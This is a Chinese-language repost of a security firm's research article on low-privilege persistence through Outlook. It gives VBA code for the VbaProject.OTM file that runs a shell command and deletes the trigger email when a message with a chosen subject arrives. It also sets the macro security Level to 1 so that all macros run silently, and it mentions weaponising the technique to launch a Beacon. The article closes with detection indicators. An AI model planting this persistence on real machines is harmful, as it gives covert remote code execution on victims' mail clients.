基於Outlook郵件的低權限持久化方法|outlook|微軟|收件箱|vba...

2020-12-25 網易

  
0x00 概述

  使用低權限用戶在用戶空間建立持久化的技術往往非常有價值,因為這樣的場景遠遠多於權限提升的場景。因此,我們持續研究了一些未被廣泛記錄、可能不會被藍隊監測到的新技術。在去年,我們發表過3篇持久化相關的文章,而在這篇文章中,我們繼續討論持久化技術,重點分析我們近期發現的Outlook持久化技術。到目前為止,這項技術還沒有被太多的藍隊所關注。

  此前,已經有多位研究人員針對基於Outlook的持久化這個話題進行了研究,包括Dave Hartley和Nick Landers,他們詳細介紹了如何使用Outlook規則來實現持久化。

  在本文中,我們將重點介紹使用Outlook的VbsProject.OTM文件來達到與之相近的效果。儘管該技術還沒有流傳太廣,但Cobalt Kitty此前已經將其用於命令和控制通道。

  0x01 分析

  與大多數Microsoft Office產品套件一樣,Outlook可以啟用「開發人員」選項卡,並通過VB編輯器創建基於VBA的宏。我們打開編輯器,創建一個簡單的宏,可以找到一個名為「ThisOutlookSession」的Outlook特定模塊。

  

  在保存宏後,Outlook會在%APPDATA%\Roaming\Microsoft\Outlook目錄下創建VbaProject.OTM文件。

  

  但是,如果我們嘗試以默認配置來執行宏,會出現失敗提示,因為默認配置被設定為「為有數字籤名的宏提供通知,禁用所有其他宏」。

  但是,我們可以通過使用以下值來創建Security註冊表項,以修改這項配置。

  

  在宏安全性配置中,Level值定義如下:

  4 = 不提供通知,禁用所有宏

  3 = 為有數字籤名的宏提供通知,禁用所有其他宏

  2 = 為所有宏提供通知

  1 = 啟用所有宏

  要允許宏在不通知用戶的情況下以隱蔽方式運行,我們可能需要設置Level值為1,在操作期間啟用所有宏。

  檢查VbaProject.OTM文件,我們發現它是標準的Microsoft複合文檔文件(CDF):

  dmc@deathstar ~ ?

  VbaProject.OTM: Composite Document File V2 Document, Cannot read section info

  使用oledump.py對其進行進一步分析,可以發現其中包含宏代碼的OLE流:

  dmc@deathstar ~ ? python oledump.py ~/VbaProject.OTM

  1: 43 'OutlookProjectData'

  2: 388 'OutlookVbaData/PROJECT'

  3: 59 'OutlookVbaData/PROJECTwm'

  4: M 6156 'OutlookVbaData/VBA/ThisOutlookSession'

  5: 2663 'OutlookVbaData/VBA/_VBA_PROJECT'

  6: 497 'OutlookVbaData/VBA/dir'

  至此,我們現在知道了VbaProject.OTM是啟用OLE宏的標準文檔,因此創建、混淆、清除(Purging)、重載(Stomping)這些文件的傳統工具和技術仍然適用。當我們將其投遞到磁碟上時,可能需要確保其靜態安全性。

  接下來,讓我們來深入研究,如何將其作為武器化的持久化工具。

  0x02 武器化

  為了讓VBA代碼執行更有意義,代碼需要作為事件的結果來執行。ThisOutlookSession模塊允許我們訂閱Outlook中的多種不同事件,這將導致有不同的機會來實現代碼執行。

  這裡討論的是持久化方式,可能會涉及到由用戶驅動的某些事件(例如:打開Outlook)或由攻擊者決定的某些事件(例如:接收到特定郵件)。在這裡,我們將重點討論後者,並說明如何利用帶有特定主題的郵件實現任意VBA執行。

  為了確定何時收到新的郵件,我們可以通過在Outlook啟動時首先訂閱默認收件箱的事件來實現,具體使用以下方法。首先,在註冊事件時,為默認收件箱文件夾(olInboxItems)設置變量。

  Option Explicit

  Private WithEvents olInboxItems As Items

  Private Sub Application_Startup()

  Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items

  End Sub

  然後,利用用戶對收件箱的引用,我們可以藉助「ItemAdd」回調函數在收到新郵件時接收事件:

  Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

  End Sub

  具體而言,我們只對接收到的電子郵件感興趣,因此可以對回調再做一下優化,使其僅在接收到新郵件時觸發。可以通過驗證條目,確認其類型是否為「MailItem」來實現這一點。

  Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

  If TypeOf Item Is MailItem Then

  MsgBox "You have mail"

  End If

  End Sub

  當然,我們不想每收到一封郵件就執行一次,因此可以使用特定的條件判斷,包括發件人地址、主題、正文內容等過濾接收到的郵件。在這裡,對上述代碼進行擴展,當收到特定主題(MailItem.Subject)的郵件時,執行代碼,隨後使用MailItem.Delete方法刪除電子郵件。

  Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

  On Error Resume Next

  Dim olMailItem As MailItem

  If TypeOf Item Is MailItem Then

  If InStr(olMailItem.Subject, "MDSec") > 0 Then

  MsgBox "Hack The Planet"

  olMailItem.Delete

  End If

  End If

  Set Item = Nothing

  Set olMailItem = Nothing

  End Sub

  將上述代碼組合在一起,最終彈出計算器。

  Option Explicit

  Private WithEvents olInboxItems As Items

  Private Sub Application_Startup()

  Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items

  End Sub

  Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

  On Error Resume Next

  Dim olMailItem As MailItem

  If TypeOf Item Is MailItem Then

  If InStr(olMailItem.Subject, "MDSec") > 0 Then

  MsgBox "Hack The Planet"

  Shell "calc.exe"

  olMailItem.Delete

  End If

  End If

  Set Item = Nothing

  Set olMailItem = Nothing

  End Sub

  演示視頻:https://vimeo.com/482370663

  彈出計算器只是概念證明,實際上可以利用武器化的方式生成一個Beacon,具體的實現方式留給各位讀者嘗試。

  演示視頻:https://vimeo.com/482376266

  0x03 檢測

  從終端安全的角度,可以通過以下兩個關鍵指標檢測該技術:

  1、監測%APPDATA%\Roaming\Microsoft\Outlook\VbaProject.OTM文件的創建、修改事件(Sysmon事件ID 11);

  2、監測註冊表HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security鍵和Level值的創建、修改事件(Sysmon事件ID 12)。

  這篇文章由Dominic Chell撰寫。

  參考及來源:https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/

特別聲明:以上內容(如有圖片或視頻亦包括在內)為自媒體平臺「網易號」用戶上傳並發布,本平臺僅提供信息存儲服務。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相關焦點

  • 基於Outlook郵件的低權限持久化方法
    0x00 概述 使用低權限用戶在用戶空間建立持久化的技術往往非常有價值,因為這樣的場景遠遠多於權限提升的場景。因此,我們持續研究了一些未被廣泛記錄、可能不會被藍隊監測到的新技術。
  • 怎麼在手機上使用outlook郵箱 outlook手機郵箱設置方法
    outlook郵箱是我們常用的一款郵箱軟體,在工作中大家常常都會用到。那最近有的朋友想知道怎麼在手機上使用outlook郵箱,所以對於這一問題,下面IT百科小編為大家整理的就是outlook手機郵箱設置方法,感興趣的一起往下看吧。
  • 那些微軟忘記預留的 @outlook.com 郵箱地址
    微軟推出全新outlook.com預覽電子郵箱服務,引來全球用戶的瘋狂搶註,剛推出六個小時之後,註冊用戶人數就突破100萬。在這此的搶註大潮中,你可否獲得了中意的用戶名?事實上,微軟似乎忘記預留了一些重要的郵箱地址,比如說steveballmer@outlook.com、ballmer@outlook.com、gates@outlook.com均被用戶搶走。全新outlook.com具備「與Office共享與協作、了解聯繫人最新動態、自動化收件箱」等特色功能,再加上Metro化的清新界面,確實值得體驗。
  • Outlook 2010郵件發錯了怎麼撤回已發送郵件
    一時的工作疏忽,郵件發送不該發送的朋友們,很棘手,怎麼解決呢?在收件人沒有閱讀時我們通過什麼方式撤回已經發送的郵件呢?下面腳本之家小編給大家介紹Outlook2010郵件撤回詳細操作方法。Outlook2010郵件撤回方法如下所示: 第一步:單擊outlook面板上的「郵件」或收件箱中的「顯示隱藏文件夾列表」按鈕。第二步:單擊「已發送的郵件」。第三步:打開要撤回或替換的郵件。
  • outlook怎麼撤回郵件
    同樣,使用outlook發送郵件時如果收件人尚未閱讀郵件,則使用郵件撤回能夠刪除或替換收件人收件箱中該郵件。你可能會說現在還有多少人會使用郵箱啊,但對於外貿企業來說郵件是必需的,而且現在也沒有好的替代品,所以作為IT人員對郵箱的使用功能還是必需掌握的。打開Outlook,「新建電子郵件」發送一封郵件用來測試一下。
  • 安卓手機電子郵件添加設置微軟outlook郵箱帳戶
    2012年8月1日,微軟用 Outlook 網絡版取代 Hotmail,標誌著微軟將逐步放棄在用戶中認知度極高,且用戶數量全球領先的 Hotmail 品牌。不知各位有沒有註冊outlook郵箱呢?本人當時搶註了兩個,以下步驟以剛剛註冊的jaychoufan@outlook.com為例~在你的手機上點擊「電子郵件」。輸入你的 outlook.com 電子郵件地址和密碼,然後點擊「手動設置」。在「這是什麼類型的帳戶?」下,點擊「Exchange」。如果存在「域」欄位,請將其留空。 如果存在「用戶名」欄位,請輸入你的郵件地址。
  • 配置outlook收取QQ郵箱的郵件
    通過配置outlook,來收發QQ郵件本教程以outlook2003為例說明首先我們需要登錄到QQ郵箱中,配置POP3參數。基於安全設置,QQ郵箱開啟POP3服務,需要手機驗證,按提示發簡訊驗證發了簡訊後,就可以點 我已發送確認。在彈出來的窗口, 需要記下授權碼,如下圖所示,然後點 完成。完成後,在QQ郵箱界面中,就可以看到我們的POP3已經開啟了打開outlook2003,  打開方法 開始--所有程序--office2003 中找到。
  • Outlook提高日常辦公協作及郵件管理效率的「15個技巧」
    作為職場人士日常辦公中一定少不了與郵件打交道的場景,有人習慣用QQ郵箱解決一切,但是作為全球使用人數第2多的outlook郵箱客戶端,到底有哪些鮮為人知的郵件管理效率小技巧呢?在做一些徵詢意見之類的群發郵件的時候不妨試一試outlook自帶的投票功能,可以不需要每個回覆郵件進行登記統計就能追蹤到發起的問卷或投票的結果統計信息。
  • Foxmail怎麼導入outlook郵件?Foxmail操作攻略
    Foxmail和outlook兩個郵箱在郵件界是相當的強大的,他們兩者之間是具有很大的互通性的,兩者的郵件也是可以實現互相導入的,在Foxmail中可以查看outlook郵件,可能很多朋友還不知道具體要如何在Foxmail郵箱中導入outlook郵件,下面我們一起看看。
  • Win10手機版Outlook收件箱可固定到開始屏幕
    【天極網IT新聞頻道】【Yesky新聞頻道消息】微軟最近為 Windows 10 Mobile 版 Outlook 郵件應用推出了一個更新,除了用戶界面的調整以外,這次更新還使用戶可以將個人電子郵件收件箱固定至開始屏幕。
  • Outlook 2007怎樣與手機互發簡訊?Outlook攻略
    雖然outlook 2007沒有像其他Office軟體一樣,在用戶界面上有很大改觀,但這個電郵和組織軟體將會有許多新的特性,包括整合了RSS和改良的日曆共享功能。還有內嵌SMS文字信息功能。 通過和Exchange Server的整合,Outlook 2007的用戶可以通過電話閱讀郵件,甚至可以重新訂製會議的計劃表。用戶還可以用outlook直接聽語音郵件。
  • 如何通過Outlook 來阻止垃圾郵箱
    垃圾郵件是數字時代帶給現實生活的電子垃圾。 我們所有人都會將部分數字混亂發送到我們的電子郵件中。 當您的網絡收件箱中的Outlook郵件中出現不受歡迎的垃圾郵件時,請使用Outlook的簡單工具輕鬆阻止這些電子郵件,並避免以後的垃圾郵件填充您的收件箱。
  • Hotmail與outlook前世今生
    下面就讓我們說說Ooutlook.com是怎樣取代Hotmail的吧…據市場研究公司comScore發布的數據顯示:在截至2012年6月的一年時間裡,Hotmail是佔據市場前三名的網絡郵件服務中全球獨立用戶訪問量有所下滑的唯一服務。
  • 跳網推出3G產品手機郵箱tiao-outlook(1.0版)
    近日,跳網正式發布其依託於3G應用的新產品,手機郵箱tiao-outlook(1.0版),此產品使手機收發郵件更為快捷、方便、簡單。  隨著跳網導航技術的不斷提升,跳網實用功能中,手機郵箱tiao-outlook正式上線,此功能的開通,對手機用戶來說無疑是個好消息,手機收發郵件又多了條新途徑,那麼到底tiao-outlook為何物?又有什麼新特點呢?
  • 生活中必須會用的日程管理利器Outlook
    Outlook作為微軟ms office重要組件大家往往都是把它當成郵件客戶端來使用,他的日曆功能其實已經超過了他作為郵件客戶端的功能,國內外有關日曆計劃安排的軟體基本上是基於微軟和google開發的,由於google在國內不能用這裡我們就不贅述。而微軟特別是大家都在用的win10中,對Outlook日程管理這個功能有更強大的支持。
  • outlook郵件設置自動籤名的詳細教程
    outlook如何設置郵件自動籤名?我們在回覆郵件時經常需要帶上個人籤名,以方便對方知道我們的信息和聯繫方式。那麼,outlook郵箱郵件結尾的個性籤名要如何設置呢?下面分享詳細的解決辦法我們在回覆郵件時經常需要帶上個人籤名,以方便對方知道我們的信息和聯繫方式。
  • 兩大針對:微軟Outlook.com郵箱試用手記
    CNET科技資訊網 8月1日 評測報告 (文/李鈞) 今天凌晨,微軟官方正式開放了Outlook的郵箱註冊,新註冊的郵箱後綴為outlook.com,在開放註冊後的六個小時內,該域名郵箱的註冊用戶就突破了100萬。
  • 微軟全新郵箱「一個Outlook」首次曝光:有Win10和macOS版本
    微軟正在為Windows 10和macOS開發一個新的電子郵件客戶端「一個Outlook」(One Outlook),它將基於Web版本的Outlook,將各種Outlook客戶端統一成一個,預計於今年晚些時候發布。
  • 趕緊投奔Outlook.com吧
    隨著Outlook.com的上線,微軟將逐漸推廣這一全新的郵件平臺,並作為主要郵件服務。登陸Outlook.com官方網站就可以註冊@outlook.com帳戶,目前微軟還支持用戶使用現有的郵件帳戶登錄。
  • 網頁端Outlook 365發送的郵件會洩露用戶的IP位址
    任何使用Office 365 WebMail組件發送的郵件都可能無意中向對方共享了自己的IP位址。